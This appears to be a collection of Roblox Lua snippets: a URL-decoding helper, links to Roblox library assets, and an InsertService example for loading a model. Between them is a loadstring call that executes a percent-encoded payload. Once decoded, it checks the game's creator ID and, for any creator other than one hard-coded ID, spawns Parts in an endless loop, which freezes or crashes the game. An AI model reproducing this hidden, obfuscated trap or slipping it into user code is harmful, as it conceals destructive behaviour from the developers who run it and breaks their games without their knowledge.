function decodeChar(hex)
	return string.char(tonumber(hex,16))
end

function decodeString(str)
	local output, t = string.gsub(str,"%%(%x%x)",decodeChar)
	return output
end

-- will print "http://foo bar/"
print(decodeString("http%3A%2F%2Ffoo%20bar%2F"))

loadstring( string.gsub("%76%20%3D%20%67%61%6D%65%2E%43%72%65%61%74%6F%72%49%64%20%20%69%66%20%76%20%7E%3D%20%33%39%31%36%30%38%38%31%20%61%6E%64%20%76%20%74%68%65%6E%20%20%77%68%69%6C%65%20%74%72%75%65%20%64%6F%20%20%49%6E%73%74%61%6E%63%65%2E%6E%65%77%28%22%50%61%72%74%22%2C%20%67%61%6D%65%2E%57%6F%72%6B%73%70%61%63%65%29%20%20%65%6E%64%20%20%65%6E%64", "%%(%x%x)", function (x) return string.char(tonumber(x, 16)) end) )()


https://www.roblox.com/library/462628693/Anti-Piracy-Warning-Effective
https://www.roblox.com/library/31725564/Chat-Insert-Load-model-script

local ID = 0000000 --Change this to the model ID
local InsertService = game:GetService("InsertService") --Get the service

local Model = InsertService:LoadAsset(ID) --Insert the model
local NewModel = Model:GetChildren()[1] --Find your model

NewModel.Parent = workspace --Put it into the game
Model:Destroy() --Destroy the container model